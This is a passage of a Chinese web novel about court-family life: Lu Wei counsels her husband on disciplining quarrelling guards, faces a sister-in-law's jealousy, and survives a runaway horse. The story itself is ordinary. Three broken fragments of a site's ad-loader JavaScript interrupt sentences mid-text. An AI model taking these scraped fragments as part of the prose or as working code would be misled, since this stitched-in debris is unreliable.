露微还未反应,却已看谢探微侧脸圆目,似看戏般,等着她作答这个为难的问题,然则这幅面孔,倒就成了答案:“我看,都比姑父写得好!” 谢探微自又败阵,受了姑侄一通嘲笑。 亭中正笑闹间,不防一个婢女踏阶而上。露微闻声抬头,倒见不是雪信、丹渥,却是那个洒扫小婢宁婉。而她此来,还同上回一样,捧了一个卧了小鱼的水盂。 “奴婢知道上次的鱼儿被夫人送给了杨娘子,一直想为夫人再补上。今日又见赵小郎在,正好送来给小郎取乐吧。” 谢探微也知缘故,况见赵澈的眼睛早盯上了,先去接了过来,端到赵澈身畔,“澈儿玩吧。”再回头时,仍不见露微动作,只望着那婢女,神色微凝,“微微?” 露微这才转过神来,微微一笑,“宁婉,我知道,你不是长公子当日归置宅子时新来的,是随家翁他们从扬州来的,对吗?” 宁婉并不料露微问这些,收了笑容,“是,小婢是扬州人,也因此,郡主怕我们这些扬州来的不通夫人的习惯,便都没派作夫人近身侍奉。但小婢只是想叫夫人高兴,不敢冒犯的。” 理由倒是充分,可露微并没问这么多,也不曾表露不悦,这便是刻意了,“你想叫我高兴,若不能近身侍奉,我也难知你心意,你确实很聪明。这次,也多谢你了,先去吧。” 宁婉脸色已发沉,不敢迁延,即刻转身走了。露微朝她背影又看了片时,亦藏起了心思: 沈沐芳第一回来东院时,在院中见了宁婉,便提醒过露微,这宁婉有个亲兄长叫宁英,是二郎的贴身小仆。 “微微,你问那些做什么?”谢探微一无察觉,甚至是第一次见宁婉这张面孔,“你要是觉得她聪明,喜欢她,就让她来陪你,和雪信她们一样便是了。” 露微自不能实言相告,将手里吃了一半的桃塞给他,“吃不下了。”又道,“你又不是不知我不喜欢人围着,你倒是一个跟班也没有,不然让她跟着你就是了。” 谢探微军中成长,自来没有公子的作风,也是个诸事自理的人,便要人跟着,也不可能是个婢女,于是再三被露微拿捏住了,狠咬了一口桃,道:“澈儿,过来吃桃。” 赵澈正对着水面噘嘴,学鱼儿吐泡,一时根本没带耳朵。 露微乐见至极,笑得肚子发酸,只得转过身去暂避这人尴尬的模样,却恍然一眼,瞧见假山下来了人,“长姊来了!” 夫妻于是赶紧起身,赵澈亦见姑姑呼唤,忙跟了上来。倒不及迎去,已见谢探渺提裙上阶,身后带着一双儿女,“多什么礼,你们忙什么呢?” 谢探渺音容和善,也是初次亲临,露微一时并不多揣测,表面仍同谢探微一道见礼。赵澈听是长辈,也跟着端正行礼,却也因此才被谢探渺发觉,叫了儿女也来见礼。 三个孩子年纪相仿,不等大人寒暄,早已互相问名问岁的熟悉起来。露微索性叫赵澈待东,唤了侍女看护,让三人别处玩去了。 “长姊怎么来了?可是有事?”谢探微在家见亲姊的次数恐怕还没有露微多,虽是一脸笑意,说话却难免生硬。 露微见状,暗扯了扯他衣袖,替他补道:“长姊不常见你,自是来看你的,梦郎和徽儿只怕也要认认你呢。” 谢探渺自脚步站定,目光时而瞥向露微,倒不关注大郎如何,便一笑,牵过露微,命小婢端了东西上前: “这咸京的天气是比扬州燥热些,我知微微前时有些伤暑,今日正好带了酥山来看她。大郎,你也顺带有口福了。” 富贵之家,饮冰消暑是常事,赵家亦有冰户供冰,谢家更是不缺。露微一见,长姊带来的倒是别有花样,相同的两盏,碎冰先拌了糖和酪,山尖上还淋了樱桃浆,雪白莹红,煞是好看。 “多谢长姊,我早就好了!请长姊坐下说话吧。” 本是炎热,冰雪易融,露微也是真心喜欢,不免赶紧请进了亭中。只是直到围案落座才发现,谢探微似有些态度不明,端给他一盏,他也不动。 “大郎,你不喜欢么?”谢探渺是同时发现的。 谢探微看着长姊眨了几下眼,倒是愣愣地提勺吃了两口,却又放下,唤了声露微,随后便将她的酥山也揽到了自己面前: “长姊,微微原本肠胃弱,几次生病都是这个根源,她又刚吃了桃,不宜同食寒凉之物,这些我都吃了吧!” 露微那柄银勺还握在手里,忽见他这般,虽是关心,却难免多事,忙观望谢探渺的神色,果真表情凝滞,摇扇的手也顿住了,“长姊别听他的,哪里这么夸张,他是自己想贪多!”说着瞪眼示意,却只见他毫无避讳地摇头。 这幅情景落到谢探渺眼中,不亲近的弟弟语出耿直,难免不显得她身为嫡亲长姊,难得的关心也是敷衍的,一无周全。而那本就关系微妙的弟妇,虽是圆场,却像是恃宠而骄一般。 “罢了,也都化了,不好吃了。”谢探渺一笑掩饰,即叫小婢将酥山撤了下去。 谢探微见状,似乎终于有了些知觉,但只看了看,并不阻止小婢动作,接着又对露微暗暗递笑,将她脸上的无奈都看作了不能如愿的小小失望。 “姊夫在做什么?我倒常见他和父亲一道,有几次在皇城夹道上也见了。” “你知道还问?他只要不在我这,就定在父亲身边,如今说他是父亲的马前卒也不为过。” 谢探微另说起些家常,谢探渺也如常回答,一时缓和许多。露微从旁静听,倒觉得才像是寻常姊弟,心中波澜渐渐平定。 然而,未歇。 “你们方才在习字么?”谢探渺的目光忽而落到了案上的书稿,随手拣了几张来看。 露微深知水亭那次的典故,是她不愿初来乍到就指点外甥,也幸而是被二郎阴差阳错搅和了。可这次,偏是赵澈来时,而且她展眼一见,长姊偏偏拿的就是赵澈的字。 “哪里习字,还是赶着要去宫里交差的!” 她只得尽力遮掩,望谢探渺不要细看笔迹,若是继续翻看,瞧出是两种不同的笔迹,便—— “阿姊看写得可好?那是澈儿写的,不过八岁,真是厉害!” 谢探微真添得好一把火,叫露微这次连无奈的间隙都没有,只能迎上一张笑脸:“澈儿的字都是他父亲教的,他来了瞧我在写,随手涂画两笔,玩罢了。” 水亭那次,谢探渺到底不曾试探出露微的心意,但连日又有了沈沐芳的婚事和杨家之事,便如今再看,自是有彻悟之感。她向露微拂去一个平静的笑意,说道: “我儿梦郎亦是八岁,方才也听孩子们说了,你家小郎是四月生辰,还比梦郎小呢,却实在比梦郎长进。我想,大约不仅是他父亲的功劳,你也是出力不少的。” 既然无可强辩,却也无可退避,露微想来也作一笑:“哪里?澈儿五岁开笔,那时我已经嫁人了,无暇教导他。况且,我为女官,也不是因为字写得好,长姊可不要说笑了。” 谢探渺倒不料露微敢在谢探微面前提起前事,不由一惊,心想他们夫妻感情再好,这种事总该是个忌讳,“我是真心夸你,一门家学渊源,旁人羡慕不来。” 气氛至此,谢探渺也不欲多留,说完便起身要走。夫妻自然也是起身相送,到了院前,反见那三个孩子兴致正浓,又彼此无赖了半刻,终究作别。 当 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下也到午间,夫妻不再回亭中,牵了满身大汗的赵澈进屋更衣擦洗,又一道用过午饭,便遣人将孩子好好送回了赵家。 谢探微是亲自送到府门的,回来倒见露微坐着出神,轻轻揽过,欲解她心意: “阿姊和我一样,都是真心赞澈儿写得好,也没有谁不知你的才高,你纵然有所谦辞,又何必提什么嫁人,也太实诚了些!你也看到阿姊有些吓着了吧?” 露微只想乱棍打这人一顿,还不都是他心直口快惹的事端,却也只能一叹了,“阿姊又不是不知道我的事,我实话实话也是真心待她。倒是你,不吃心?” 谢探微摆出无奈一笑,忽在她额上亲了下:“你知道我不会,才这样口无遮拦的,我高兴!” 露微一瞬有了些泪意,当因眼前知心人,也因这一室静好,还因方才亭中,到底是有些委屈的。她并不掩藏,在这人急色中落下泪来,“可是,我真的想吃酥山,你赔我!” 谢探微只松了半口气,“就一个酥山,哭什么?”却也想不出别的理由,“今天不行,明天!我一定让你吃!” 露微含泪点头,伏去了他的肩上,一时不再说话。谢探微以为她困倦,便抱起她一同进了内室榻上,相对躺下,替她拍着背:“累了就睡睡吧。” 露微少有午睡的时候,但更少有他陪在身边的午后,合了眼,一手环住他的腰身,“鱼呢?” “我已放到外间了,也叫喂了食,你以后每天都能看见。”谢探微一笑,联想她为吃不到酥山哭,更觉她到底才十七,有稚气未脱的一面,谁知,却又听她道: “刚刚忘了叫澈儿带走了,让人送去吧。” 谢探微方自愧白聪明了一回,“好,好,下官遵命。” …… 赵澈回到家时,正逢他母亲朱氏和乔晴霞议事才罢。朱氏见他身上衣衫与去时不同,便问起缘故。乔氏因许久不见露微回门,早是牵挂,便也驻足旁听起来。 赵澈不用数语就将事情说了个完整,朱氏余事不惊,就定在了露微要将儿子临帖带给太子观看之事,忙问道: “那你可写好了没有?姑母评断如何?” 赵澈想了想,露微却是并未点评,实言道:“儿写了三页,小姑姑只说比姑父写得好,没说别的。” 如今谁还不知露微夫妻情状,这般言辞托了孩童之口,越发显得坦率,朱乔皆不禁忍笑,但朱氏另有关心,又道: “此事你祖父和父亲定还不知,你也该拿回来再叫他们瞧瞧,免得送去出丑。但也是姑母提携你,你若真得了太子殿下青眼,就是一辈子的福气。今后可更要勤勉读书了,知道吗?” 赵澈倒听不懂何为提携之意,只是深知太子位尊,要恭敬对待,便向母亲拱手一礼,说就回房继续习字。 乔氏也不好再留,亦还有话,索性牵了赵澈送回他书房,一路问道:“小郎看我们娘子身体可好?” 赵澈虽年少,也知乔氏是宋氏祖母的心腹侍娘,在家中地位素来不同,便自来也尊敬,说道: “小姑姑很好,只是我同她一道吃饭,见她吃的不多,又听闻她前时有些伤暑,天也实在是热,自是影响胃口的。” 乔氏轻叹了声,越发想见见露微,却也知自己下人身份,不便单独登门,忖度了片时,想到了个办法,说道: “我们娘子最喜欢吃颁政坊的萧家馄饨,小郎下回要再去探望,先告诉奴婢,奴婢买了请小郎带去可好?” 不管长辈那些前事,赵澈从来都是亲近露微的,满口应道:“澈儿记下了!” …… 过了申时,赵启英下职到家,进房不见朱氏如常迎来,却是坐在窗下凝神,脸上透笑,便唤了一声,问道:“有什么好事?” 朱氏自是在想儿子所言之事,都想了半日了,正要起身,先见赵启英手里还端了一方水盂,“这是什么?” 赵启英便顺手放在了窗前几案上,一笑道:“我才到门首,见一个谢家小仆送来,几条花鱼,说是小妹拿给澈儿玩的,忘了随他带走。我还要问你,他今天怎么想起去谢家了?” 朱氏闻言更是高兴,先命小婢端去了赵澈书房,方将一日的缘故都说起来,“他就说想姑母了,我也没什么可拦的。” 赵启英听来,亦只为儿子临帖要送太子看的事震惊,想得也和妻子一样,不知儿子那三页临得到底如何。缓而,又不觉愧疚,想起从前待露微的许多事,她却真是一点也不记仇。 一时,夫妻相视,都是彼此明白的。 “以后,就让澈儿多去看看她吧。” 65.秀木 此日巧极,夫妻同时下职,于皇城夹道迎面遇上。赵维贞也在,见了这冒失女婿,欲要敲打,也拿拿身架,却又被女儿挡在前头,不过一笑,嘱咐两句,便先走了。 夫妻自是要回谢家,因也难得,谢府又离皇城不远,便都未乘马乘车,携手沿道步行。然而,只闻露微打头说了几句闲话,却不见那人有兴致,难免猜测,问道: “阿耶才同你玩笑呢,又不是真的,这就不高兴了?” 谢探微却是离了神,深吸口气方聚起目光:“阿耶就是真的又有何要紧?我只是在想别的——微微,我有难事不决。” 露微自认识他起,还未见他直言难为,但瞧他脸色也不算消沉,应非紧要大事,“你说来我听。” 谢探微虔诚地点了点头,便将所谓难事照实说了。露微边听边理,果真不是大事,却颇有些意思,也蹙了眉。 谢探微如今已是正六品上的军职,虽不算显达,却也算一个小小长吏,手下领着数十金吾兵。既是有了管理之责,便是要驭人,他于此却是毫无头绪。 从前还是巡街中候时,他虽也领人,却少得多,巡街之职也只是按章办理,并没有可多事的。就更莫比之他在甘州时,做着一个营的营主,只需按军规行事,简单分明。 而他的难为,偏就出在他现下的两个金吾下属身上。这戍卫禁中的金吾郎,不比在外头巡警的,除了少数是以军功选用,多是勋贵子弟承袭,各有身家。 一个叫郑复的出身咸京贵族,素性骄傲,也果是武艺出众,不是纯粹纨绔。他便自恃身世本领,一向与一个叫孙通的不对付。所嫌恶的就是孙通出身甘州偏狭地,性子木讷,也不算很有军功,只是当日除逆时守过宫城,因而选调。 郑复若只是口头嘲讽也就罢了,孙通常是回避不理。然则郑复愈发不服,竟在一日备职前,将孙通的甲胄藏了起来,又骗他反向去找,最终叫孙通误了上职的时辰。 “我将此事上禀阿父,欲惩罚郑复,可明明孙通受了委屈,按章也要罚他俸钱,我觉不公,便问阿父,可他还是说此等小事要我自决。微微,我当如何?” 二人边走边说,不觉已踏入家门。因正是思绪沉浸之时,便都不暇顾盼,就在廊庑间站定,继续谈论。 “你的办法,不过就是要按律惩戒,但你不决之处,却又是不想按律,倒是好笑!”露微左右想来,虽不曾立刻想到破题之法,却一下看准了这人的矛盾所在。 “我认真求教,哪里好笑了?”谢探微虽自知智不如她,却实在已想了两日,心里难免浮躁些。 露微见他面上委屈,倒有几分坦直可爱,摇头一笑,沉心想了片时,却是问他:“你缺钱吗?” 谢探微一愣,“不缺,你要多少?” “不是我要,是给孙通!”露微眼珠一白,向身后廊柱倚去,抱起双臂,不欲他饶舌费时,直接解释了: “无论你手下人如何出身,在你面前,皆只是朝廷的金吾郎,你身为长官,自当一视同仁。此一视同仁之意,并不仅仅在于律法军规,更在于所有事上的公平无私。” 每个字都进了谢探微耳内,却未解他半分疑惑:“你要我给孙通钱财,是平他的冤屈?这不就是有私吗?” 露微自然还没说完,继续道:“我听你说这些,便知你虽做了长吏,却未能服人,所以他们才敢生事。那为何不服?就因为你只知法令,却不懂何为赏罚分明。那郑复既非无能纨绔,又技艺出众,你就不能只瞧见他的小过,罚之容易,却失了你的担当,他必然还有下次;而那孙通当真是老实过了头,但你就算杀了郑复,此人也已旧性难改,未必不受下一个郑复的压制。你想要人服你,就得身先士卒为他们的前程考虑——担其小过,归之正道。” 明明就是在说“赏罚分明”,是他从小听到大的四个字,却完全是崭新的样子,谢探微深陷于惊叹之中,头脑渐渐明朗。 露微观他神色,亦知他是听懂了,拍了拍他的肩,倒是还有一层利害要讲: “我认识你时便知,金吾军中调来一些甘州军将,但原本的咸京金吾却更多,难免不会像孙通和郑复一般,两派对峙,各有依据。便由小见大,蜗角之争尚且伏尸数万,若金吾当真同室操戈,难道就不会伏尸数万吗?你不仅要平衡他二人之怨,亦要平定甘州与咸京之患,才算真正收服人心。可你不要畏难,你的身份有利,既占了甘州,也带了咸京。” “微微!”谢探微不知何以描摹此刻心境,脸色白下几层,将露微双手紧紧握住,“我现在就去告诉阿父!你等我回来!” “不必了,我已经知道了!” 二人正松手,冷不防身后站下几个身影,四目齐齐转看,竟见晏令白和一家人都在。再看地点,方觉是在家常待客的花厅外嚷了这许久,倒真不用谢探微再跑一趟了。 “阿父你……什么时候来的?” 二人皆是满脸惭色,谢探微勉强一问,露微却已尴尬至极,只知三位尊长,一并长姊夫妻,沈沐芳,还有二郎,眼神都颇有故事,有一样的,也有不同的,却都无心分辨了。 晏令白并未发语,含笑与谢道元对视一眼,目光辗转落在露微脸上,眸光深切,又变得细碎,终究不语。 “微微,来。”李氏这时走了出来,将露微轻轻揽过,为她举帕拭汗,“你这小小年纪,怎么知道那么多呢?” “母亲……不怪我信口胡言?”露微甚觉失言,或至于轻狂卖弄,不敢承接李氏熠熠似含泪般的赞许目光。 “这岂是胡言?微微,不要怕,你说得很好。”谢道元也紧接着对她笑着摇头,抚须连叹,又隔了半晌才看向谢探微。父子自前时书房一谈,倒也有些时候不曾对面说话了。 “你寄父在此,就直说吧,可想好了如何处置?” 谢探微原是才明白过来,又见众人到齐,思绪难免又有些滞涩住了,正忐忑时,忽觉袖口被扯动,侧目方见是露微递来笑意,暗暗送声:“公平无私。” 正是这个四个字了。 “儿已想定!”他举手端正拜了一礼,面上一扫颓容: “郑复有才干,但纵性失度,我为长吏应与之同责;孙通虽受屈,却也实际延误职时,当按军规罚俸。可事出有因,亦是我失之管束,我会替他交上罚俸。今后,当尽力体恤下情,以身为则!” 谢道元倒不自己发落,忖度着仍转看晏令白,见他微一点头,这才畅然一叹,“先去吧,陪微微稍歇了再来。” 众人于是转入花厅,李氏也将露微交还了儿子手里,脸上停不下的笑意,此刻更添了些道不尽的殷切、合意。 “微微,不必急着过来,今天只是寻常家宴。” 小夫妻到此才算真正放松下来,一道谢过母亲,终于携手回房。东院早已闻知消息,备好了更衣盥洗之物。却待更换了装束,露微要走,又被这人身后缠住。 “母亲说是寻常家宴,你就无赖了?”露微也不推开他,只是侧脸一笑。 谢探微却沉默了半刻,越发环紧了她的身躯,“你别做学士了,该当将军才是,赵将军麾下定是上下一心,所向披靡的。” 露微就知道他耍了无赖,就必要说些无赖话,一想回道:“可赵将军不会骑马啊!哪有不会骑马的将军?有人说要教她,快一年了也是纸上谈兵。” 谢探微其实并未忘记,只是到底事多耽搁,稍松了手,转到她身前蹲下,“我们还有很长的一辈子,我总不会食言的。” 露微凝望,抿唇一笑:“若你食言,我就担你小过,归之正道,总不会让你逃脱的。” 谢探微起身,向她的眉心缀下一吻,“好。” 虽是没有外人的家宴,但因小夫妻的这场巧合,席间气氛就不算寻常了。露微自是被李氏捧在手心,沈沐芳乐得助阵。谢探微则承受了父亲鲜有的和悦态度,姊夫也同他好一番畅谈。 于是,被隔绝在这般气氛之外的,也自有那姊弟二人。 宴席持续了一二时辰,起更后方散去。 …… 谢探渺夫妻回到西院,先去看过儿女,见是熟睡安稳,方才相扶回到寝房。徐枕山原是陪了些酒,虽不算醉,却已有些昏沉,然而才要去睡,只被谢探渺拉了起来: “你还睡得着?!” 徐枕山酒意尚未迷了心智,只得扶额苦笑,自去吃了碗凉茶,勉强支起些精神,“今日是回来后初次家宴,高堂俱在,兄弟无故,这是圣贤所言的君子之乐,古来难得,你又何苦自寻不快?” 谢探渺轻嗤一声,知他是在装糊涂,“你上回还说会帮我顾着些二郎,就是这样帮的?你看你席上的样子,只盯着大郎,你又不是武官,怎与他有那么多话可说?” 徐枕山原以为她不过是闹些小气,一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 听这话倒觉不同,反问道:“你难道不知,他素日备职宫中,我今天还是头次有机会与他谈讲,你非要拿二郎比什么?”声调不觉高了些,又不忍一叹: “渺儿,你不要总把事情想偏了去!父母亲本就是因弟妇聪慧贤达才为大郎求亲。我今日也才算亲见,真是一个远见卓识的女孩子,能够辅佐大郎前程,竟不是好事?只要二郎潜心读书,来日何愁没有大郎今日之荣?又何愁不得贤妻?” “所以,都是你弟妇的功劳了?可她这样的女子,恐怕也没有第二个了。”谢探渺哼笑了声,愈是不屑: “亏我上回还听你的劝,主动去瞧他们,谁知反叫我见识了何为手段城府。她当着我和大郎,都敢提她早嫁之事,大郎竟也不恼。今日又这般伶牙俐齿,置喙那些外政,哄得父亲那样的人都当面夸耀,如此本领,真是里里外外要只手遮天了!” 徐枕山听得头疼,连呼了好几口气,想她今夜已深陷迷津,争执无益,再不管她,倒头躺下,最后丢了几句话: “你从来明理宽善,扬州家里谁不服你?可为何偏容不得自家弟妇?是因为大郎不如二郎与你亲厚?还是觉得这家里忽然有人将你比下去了?或者,二者兼有?你既不睡,就想想吧。” 谢探渺目露惊诧,脸色几阵起伏,终于咽了声。 …… 家宴散后,谢道元与晏令白又到书房小叙了几刻,待回房时却见李敬颜尚未歇下。他原也意犹未尽,于是夫妻对坐,不免又谈讲起今日的事来。 李氏问道:“昭清今日不过比大郎他们早到半个时辰,正说到这事,看来确实不是小可,想是要亲自指点他的?” 谢道元笑笑,道:“昭清说,你那犬子必会问微微,也正好看看他们如何对策,却没想到微微几句话就破了题,你儿子连插话的机会都没有。” 李氏也同是这般感慨,回味起来又道:“担其小过,归之正道,莫说是整理军心,便是持家,也是此道。这孩子好处,真是越来越道不尽的,真算便宜你们谢家了!” 谢道元吃了口茶,深以为然,笑道:“自是便宜了,一支秀木,配了一根朽木。” 李氏见惯他爱贬损儿子,也知他心口相反,便一直是由他逞舌,自己并不这样。可忽听他这二木的比喻,竟也觉得很贴切,忍俊不成,笑出声来: “谢道元,你也是朽木!” …… 谢探隐参加了这样一场家宴回来,小仆宁英从旁侍奉都不敢大声喘气,唯恐招惹他怒发雷霆。然而,直到他更衣躺下,神情气色竟都平常,只是也并不合眼睡去。 “二郎可是没吃饱?想吃什么?”宁英推想他素来习惯,像是还有些交代,又恐行差踏错,便只谨慎地从小事上试探。 谢探隐迟滞了片时,方稍稍侧转身子,看准了宁英道:“除了长姊,你今夜可瞧见有一个人把我放在眼里了?” 却果然还是要提这桩事,顿时吓得宁英身躯一抖,“二郎,今日都是因为那晏大将军在,自然上下都看待着他的。” 谢探隐却拂去一笑,“你倒乖觉,还知道顾左右而言他。”屈臂枕在脑后,又作了一叹,“只不过,言得却对!今夜除了长姊,只有他瞧了我几眼。” 宁英算是有些脑筋的,也深知晏令白警告过二郎,很快又接话道:“他今天只是为大郎来的,从前的事他到底也不能再说什么了。” “从前算我不慎,我也认了。”谢探隐眯起眼睛,望着榻下一盏灯烛,嘴角微微抿动着,“可是,谢探微如今这般志得意满,就不会忘形犯错吗?” 宁英仍探不着他的底,皱眉问道:“大郎做了什么错事?” 谢探隐摇了摇头,忽问道:“你觉得那女学士长得好看吗?” 宁英却是见得不多,况又不是自己院里的主子,没有他这种小仆去多心的道理,却又不敢敷衍:“府里人都赞她才貌双全,但咸京未必没有比她好看的。” 谢探隐又道:“女人要才何用?纵使她今日这般慧心妙舌,也不能玉堂金马登列朝班,不过是叫谢探微拾了牙慧,再出去卖弄。” 宁英似懂非懂地点了点头。 谢探隐一笑,抬手拍了下他的脑袋,“所以单看她的貌,其实也并非绝色,她却又恃才,便也不算知情识趣。那我长兄那样没见过世面的人总是会犯错的。” 宁英这下彻底不通了。 66.欲摧 杨淑贤一早起来便去了长兄的书斋,到了廊下问了小仆景舟,说是长兄也才进门,并不很忙,她才探头探脑地进去了。但也不必她开口,才走一步就听道: “小东西,还不知安稳些?” 淑贤只略一站,便笑嘻嘻地依偎到了兄长身侧,摇着他的衣袖道:“阿兄,我就是来要一样东西,你把冬至的短刀给我吧!” 杨君游早知她心中算计,扯回袖子,轻嗤:“前时谢司阶忽来寻我,说他阿弟陆中候有意求娶我家小妹,请我先试问父亲的心意。我这才知我家小妹竟瞒了我怎样的大事!我如今还不及审你,你倒敢主动送上门来!” 谢探微为陆冬至来问,自是那日知晓冬至心意后就从速办了的。淑贤虽可喜她这别家的阿姊、姊夫如此真情待她,却也一时将自家兄长抛到了九霄云外,便也自知理亏。 她只能更加用些撒娇的法子,抱紧了兄长的手臂求道:“反正你现在都知道了嘛!全天下最好的阿兄,举朝第二年轻的进士郎阿兄,吏部最英俊的员外郎阿兄,求求你了!” 杨君游与小妹差了十岁出头,本就百般宠爱,此时看她如此无赖,说辞更越发没了边际,一时啼笑皆非,脸上阵阵发热,终究承受不住:“快住嘴吧!给你,给你!” 淑贤瞬间收了声,抬头便举出一双手:“拿来吧!” 杨君游望着这张可气的脸,只有摇头,这才起身到书架上取了一方木盒。自陆冬至将刀交在他手里,他便用盒子装了,细细收藏。 如愿的淑贤也安静了,将刀捧在怀里,举目又问长兄:“那阿兄何时去问阿耶?阿耶会不同意吗?”虽问的是自己的事,一时却不免想起长兄亦是同病相怜的: “我听微微阿姊说,谢中书会来问阿兄愿不愿娶沈娘子,想是已经问过,你自是愿意,那谢中书也已经问过阿耶了吗?” 杨君游微微一愣,泛起苦笑:“是啊,我愿意,但为了她的清誉,我也和赵学士一样,不曾宣扬往事。所以,只是表态而已,并不知谢中书后来如何,就更不知阿耶的态度了。” 淑贤心中一顿,想长兄这君子是要一做到底了,“阿兄,你再等等,别急。” 杨君游摇了摇头,道:“我并无资格着急,我能知道她心里竟也是有我的,便已算是无憾了。” 淑贤瞧得懂长兄眼中的落寞,有几分强撑的意思,不禁心疼。杨君游只又朝她笑笑,恳切说道: “贤儿,谢司阶还同我说,陆中候愿为你入赘。他有如此诚心,虽失了父母,也无家世,却是个上过战场立过军功的少年英雄,我猜阿耶是能够同意的。若你们真成了亲,你定要改改你的任性,好好体恤善待他,不要让人笑话了他去。” 淑贤却已早知,不料长兄这般殷切嘱咐,渐渐红了眼眶:“阿兄放心就是,贤儿会保护他的!” …… 此日露微东宫辅教才罢,便有紫宸殿内侍忽至,将父亲赵维贞传去了。父亲是天子倚重之臣,虽自复官后,只领了太子太傅一项职衔,却从未断过参议朝政,因而露微甚觉平常。 然而正自皇城夹道行过,要出宫回家之际,露微倒又远远望见了谢道元。只是与谢道元同行的,还有一位同样衣紫束金的官员,露微就不便迎去见礼了。 可虽如此,同在一条道上,越是走近,露微也避不开,却就发觉了异常:他们一直言谈着,谢道元都是平和之态,那位官员先也平常,却不知为何突然变色,竟至拂袖而去。 既只剩谢道元,又不免好奇,露微就此迎了上去:“父亲!” 谢道元闻声才从那人背影转回目光,略感意外,心猜这孩子该是瞧见了,先作一笑:“微微,今日辅教了了?”但左右并不见赵维贞,又问:“你父亲可好?” 露微点头,将父亲的去向说了,就问:“刚刚那人是谁?因何对父亲无礼?瞧着是与父亲一样品阶,他常常欺负父亲吗?” 她一时想起赵维贞也曾与同僚起过争执,便不免生了那时同样的护亲之心。可谢道元听她这般用词,倒更是发笑,和声道: “微微别怕,没那么严重。他是章圣直侍中,与我同为宰职,同僚之间,意见相左是常事,无碍的。” 侍中,门下省的长吏,那便是左相了,而谢道元如今是右相,虽同为宰臣,却是略高一级。露微想罢点了点头,再无担忧,一笑行礼:“无事就好,那露微就不扰父亲了。” 谢道元虽自己也有个女儿,却是从小娇养深闺,由夫人李氏教导。如今得了这个儿妇,与众不同,才华难掩,比儿子还要顶用,又如此敏觉体贴,他心里一时不知有多少欣慰,多少动容。 “好,好,去吧,路上小心些。” …… 目下已是立秋时节,暑气消退,清风透爽。露微因而索性弃了累赘的车马,凡来上职都作步行。左右谢府相近,脚程不过两三刻。于是出了皇城,只有雪信一人在街前迎候。 主仆结伴归家,时辰又宽松,不免就沿街游逛起来,口中说着些笑谈。皇城近侧,远离闹市,街面自是一派井然祥和。 可正当她们沉浸自乐,身后却忽然炸开一阵刺耳嘶鸣——好端端的道上不知何处窜出一匹高头大马,惊疯一般狂奔乱撞,眨眼前还是秩序井然的街面霎时尘土飞扬,惊声四起。 露微原已后知后觉,此刻慌促四顾又被扬尘迷了视线。这间隙,她已连闪避的机会都没了,一抬头只觉一个巨大的黑影压了下来,她只有埋头紧紧抱住了雪信。 “快躲开!!” 已知是在劫难逃,可下一刻朝她们扑来的竟是一个横飞侧坠的人影,猛然将她们向后带倒,力度之重,虽让人顿觉背后沉痛,却是险险避开了惊马冲撞。 情势已定,露微当即回过神来,可尚不及忍痛便一眼认出,压在她身上的救命恩人竟并不陌生:“江玥?!” 江玥面上却不见丝毫惊情,又镇定地将她们主仆扶起,方肃然反问:“你不是极聪明极厉害的人吗?!要命的时候竟一动不动!木头还知道滚一滚呢!!气死我了!” 露微哪里不知先前情状,脑中一片空白,确实不如一根圆木,便见她横眉怒目,理直气壮,也无一可言,唯是垂耳恭听。 这时,四下烟尘渐渐散去,惊马嘶鸣却未止住。但露微寻声看去,倒见那马并没再继续发狂,只是原地踏蹄,身躯躁动,而马背上正有一人倾身趴伏,双臂环住马颈,不断安抚着。 跟随江玥关切的神色,露微也很快认出了那人:崔为。这两人每每都是一齐出现的。 “阿玥!你没事吧?!” 不消片刻,崔为就将马儿彻底收服,绕过满街狼藉走了过来。江玥抱臂摇头,仍是生气地瞥了露微一眼:“你该问这个傻子!” 露微此刻除了满怀感恩,只添了百倍的羞惭尴尬,带着雪信低首行礼,干涩一笑,仍不知所言。 崔为自也知刚才的情景,瞧了瞧露微,只对江玥挠头憨笑,指着身后的马,又四面环顾,说道: “这畜生好奇怪,鞍辔俱全,毛色品相也好,定是上等骑乘马无疑,闯了这么大的祸,怎么还不见主人来领呢!” 露微虽不懂驭马,这几句话倒是顿觉可疑:既是有主的上等良驹,必然早已驯得乖顺,怎会突然失控? 江玥也瞧去几眼,似有所思,道:“你把这畜生带回去给晏将军看看,金吾卫不正管这些街头的事么?”复对露微抬了抬下颌,“走,我送你回家!” 一时,所有事都被江玥安排得甚是清楚明白。 …… 惊马闯街就发生在太平坊,因而不必露微到家,谢府上下便已传遍。再等李氏见了露微浑身凌乱的模样,当即就吓得脸色惨白,忙叫叶氏去请医人,亲自守着露微看疗。 露微只是倒地时颇觉体内震痛,后来都是行动如常。但此刻更衣查体,才发现右肩后早已呈现一片瘀伤,青紫泛肿,牵动肌肉,右臂已抬不起来。 李氏见状,更则心惊,等医人诊毕,看露微上了药,又在榻前细细陪护了多时,安排好了照应人事,才离了东院。露微倒不惯这般兴师动众,但也知避不开,不过一叹。 “夫人还疼吗?睡睡吧!方才沈娘子和大娘子都亲自来了,只是郡主不让扰你,都一时劝回去了。” 丹渥端了安神止痛的汤药进来,见露微还只坐着,满脸忧切。露微见之一笑,想了想,只摇头问道:“雪信如何?我到底没有见血,她倒是有几处擦伤,可有伤了筋骨?” 丹渥却瞬间红了眼睛,伏在露微膝前说道:“医人也给她瞧了,只是皮肉伤,也叫她暂歇几天了。她只自愧没能护好了夫人,像夫人这样好的主子,真是奴婢们的福气!” 露微只念这是痴傻之言,在她眼中人命原无贵贱,便宽慰了几句,却又听丹渥说道: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “雪信既有几日不能侍奉,方才叶娘在院里安排问话,那位宁婉便自荐上来。奴婢因知夫人曾夸她聪明,便就如实禀告了叶娘,她现就暂代雪信,正在廊下候着。” 露微自然没忘记这个人物,只是也不便明说她的来历,不过心里暗自思量,“那就让她守在外头,我有你就够了。” …… 谢探微知晓出事之时已是此日晚间,飞马赶回家中,露微却因服了安神的汤药睡得正沉,守了一时无济于事,也不敢动她的伤处,不得已才回到了中堂。 正因露微这桩事,中堂里除了谢家人,赵维贞及赵启英夫妻,晏令白和亲历祸事的崔为、江玥也都到齐了。 